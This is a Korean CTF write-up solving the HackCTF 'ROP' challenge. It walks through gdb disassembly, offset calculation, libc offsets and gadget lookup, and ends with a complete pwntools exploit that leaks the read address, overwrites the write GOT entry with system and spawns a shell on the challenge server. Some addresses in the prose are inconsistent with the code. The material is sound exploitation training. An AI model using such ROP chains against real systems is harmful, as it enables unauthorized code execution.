워게임

HackCTF - ROP

HackHiJack 2021. 7. 27. 23:02
728x90
반응형

오늘은 hackctf의 rop문제를 풀어볼 것이다.

 

떡하니 rop라고 되어 있으니 그냥 기본적인 rop 문제일 것같다.

 

그러면 먼저 main을 디스어셈블 해보자.

(gdb) disas main
Dump of assembler code for function main:
   0x08048470 <+0>:	lea    ecx,[esp+0x4]
   0x08048474 <+4>:	and    esp,0xfffffff0
   0x08048477 <+7>:	push   DWORD PTR [ecx-0x4]
   0x0804847a <+10>:	push   ebp
   0x0804847b <+11>:	mov    ebp,esp
   0x0804847d <+13>:	push   ecx
   0x0804847e <+14>:	sub    esp,0x4
   0x08048481 <+17>:	call   0x804844b <vulnerable_function>
   0x08048486 <+22>:	sub    esp,0x4
   0x08048489 <+25>:	push   0xe
   0x0804848b <+27>:	push   0x8048530
   0x08048490 <+32>:	push   0x1
   0x08048492 <+34>:	call   0x8048340 <write@plt>
   0x08048497 <+39>:	add    esp,0x10
   0x0804849a <+42>:	mov    eax,0x0
   0x0804849f <+47>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080484a2 <+50>:	leave  
   0x080484a3 <+51>:	lea    esp,[ecx-0x4]
   0x080484a6 <+54>:	ret    
End of assembler dump.

먼저 vulnerable_function 있는걸 확인했고, write@plt 즉 아까 hello world를 출력하는 것인걸 알 수 있다.

 

그러면 vulnerable_function을 디스어셈블 해보자.

(gdb) disas vulnerable_function
Dump of assembler code for function vulnerable_function:
   0x0804844b <+0>:	push   ebp
   0x0804844c <+1>:	mov    ebp,esp
   0x0804844e <+3>:	sub    esp,0x88
   0x08048454 <+9>:	sub    esp,0x4
   0x08048457 <+12>:	push   0x100
   0x0804845c <+17>:	lea    eax,[ebp-0x88]
   0x08048462 <+23>:	push   eax
   0x08048463 <+24>:	push   0x0
   0x08048465 <+26>:	call   0x8048310 <read@plt>
   0x0804846a <+31>:	add    esp,0x10
   0x0804846d <+34>:	nop
   0x0804846e <+35>:	leave  
   0x0804846f <+36>:	ret    
End of assembler dump.

여기서 처음에 받는 read를 콜한다.

 

그러면 입력받는 buf부터 ret전까지의 바이트 수를 구해보자.

 

vulnerable_functionr하고 read@plt를 브레이크를 걸고 아래의 명령어로 구한다.

(gdb) b * vulnerable_function
Breakpoint 2 at 0x804844b
(gdb) b *0x08048465
Breakpoint 3 at 0x8048465
(gdb) r
Starting program: /home/psj/hackctf/rop./rop 

Breakpoint 2, 0x0804844b in vulnerable_function ()
(gdb) i r esp
esp            0xffffd01c	0xffffd01c
(gdb) c
Continuing.

Breakpoint 3, 0x08048465 in vulnerable_function ()
(gdb) i r esp
esp            0xffffcf80	0xffffcf80
(gdb) x/3wx 0xffffcf80
0xffffcf80:	0x00000000	0xffffcf90	0x00000100
(gdb) p/d 0xffffd01c-0xffffcf90
$1 = 140

140byte를 넣고 rop를 하면 된다.

 

이제 어떤식으로 쉘을 딸 수 있을지 대략 코드를 짜보았다.

write(1,read_got,len(str(read_got)))        -- read함수의 주소를 leak한다
read(0,.bss,len(str(binsh)))                -- .bss에 /bin/sh 문자열을 저장
read(0,write_got,len(str(system_addr)))     -- read주소로 system주소를 구한후 write@got에 저장
write(.bss,,)

위처럼 하면 마지막에 write_got가 실행되면서 쉘 획득에 성공할 것이다.

 

이제 read, system offset을 구해보자.

아래의 명령어로 구한다.

$gdb -q libc.so.6
Reading symbols from libc.so.6...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/psj/hackctf/rop./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
	crypt add-on version 2.1 by Michael Glad and others
	GNU Libidn by Simon Josefsson
	Native POSIX Threads Library by Ulrich Drepper et al
	BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
[Inferior 1 (process 33373) exited normally]
(gdb) p/x read-system
$1 = 0x99a10

offset : 0x99a10

 

이제 bss를 확인하자.

$objdump -h ./rop

./rop:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048154  08048154  00000154  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048188  08048188  00000188  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000020  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000060  080481cc  080481cc  000001cc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       00000050  0804822c  0804822c  0000022c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000000c  0804827c  0804827c  0000027c  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048288  08048288  00000288  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000008  080482a8  080482a8  000002a8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000020  080482b0  080482b0  000002b0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000023  080482d0  080482d0  000002d0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000050  08048300  08048300  00000300  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .text         000001c2  08048350  08048350  00000350  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .fini         00000014  08048514  08048514  00000514  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .rodata       00000017  08048528  08048528  00000528  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .eh_frame_hdr 00000034  08048540  08048540  00000540  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     000000ec  08048574  08048574  00000574  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .init_array   00000004  08049f08  08049f08  00000f08  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .fini_array   00000004  08049f0c  08049f0c  00000f0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000004  08049f10  08049f10  00000f10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000e8  08049f14  08049f14  00000f14  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049ffc  08049ffc  00000ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      0000001c  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000008  0804a01c  0804a01c  0000101c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          00000004  0804a024  0804a024  00001024  2**0
                  ALLOC
 25 .comment      00000052  00000000  00000000  00001024  2**0
                  CONTENTS, READONLY

 

.bss는 0x0804a024이다.

 

마지막으로 pppr gadget을 찾아보자.

gdb-peda$nropgadget
ret = 0x80482da
popret = 0x80482f1
pop4ret = 0x8048508
pop2ret = 0x804850a
pop3ret = 0x8048509
addesp_12 = 0x80482ee
addesp_16 = 0x80483b5

pppr 가젯은 0x8049509이다.

 

이제 exploit code를 만들어보자.

from pwn import *
 
#context.log_level = 'debug'
#r = process('./rop')
e = ELF("./rop")
r = remote("ctf.j0n9hyun.xyz",3021)
  
binsh = b"/bin/sh\x00"
  
read_plt = e.plt["read"] #0x80483f0
read_got = e.got["read"] #0x804a00c
write_plt = e.plt["write"] #0x8048450
write_got = e.got["write"] #0x804a024
read_system_offset = 0x99a10
#read_system_offset = 0x99a10
writableArea = 0x0804a024
pppr = 0x8048509

print(hex(read_plt))
print(hex(read_got))
print(hex(write_plt))
print(hex(write_got))

# read_orig : payload  1.read : store input in bss    2.read : store input in read_got
# write_orig : A * 140  1.write : leak read address
payload = b"A"*140
 
#write(1,read_got,len(str(read_got)))        -- leak read func
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

#read(0,writableArea,len(str(binsh)))        -- store /bin/sh in bss
payload += p32(read_plt)
payload += p32(pppr) 
payload += p32(0) # 1 argv
payload += p32(writableArea) # 2 argv
payload += p32(8) # 3 agrv
 
#read(0,read_got,len(str(read_got)))         -- store system addr in got
payload += p32(read_plt)
payload += p32(pppr) # 3 ppp , argv 3
payload += p32(0) # 1 argv
payload += p32(write_got) # 2 argv
payload += p32(4) # 3 argv
 
#system(writableArea)
payload += p32(write_plt)
payload += p32(0xdeadbeef)
payload += p32(writableArea)
  
r.send(payload)
#r.send(binsh)
read = u32(r.recv(4))

system_addr = read - read_system_offset
print("read address : " + hex(read))
print("system address : "+hex(system_addr))

r.send(binsh) # first read input
r.send(p32(system_addr)) # second read input
r.interactive()

위의 스크립트를 실행하면 아래처럼 쉘 획득에 성공한걸 알수 있다.

 

728x90
반응형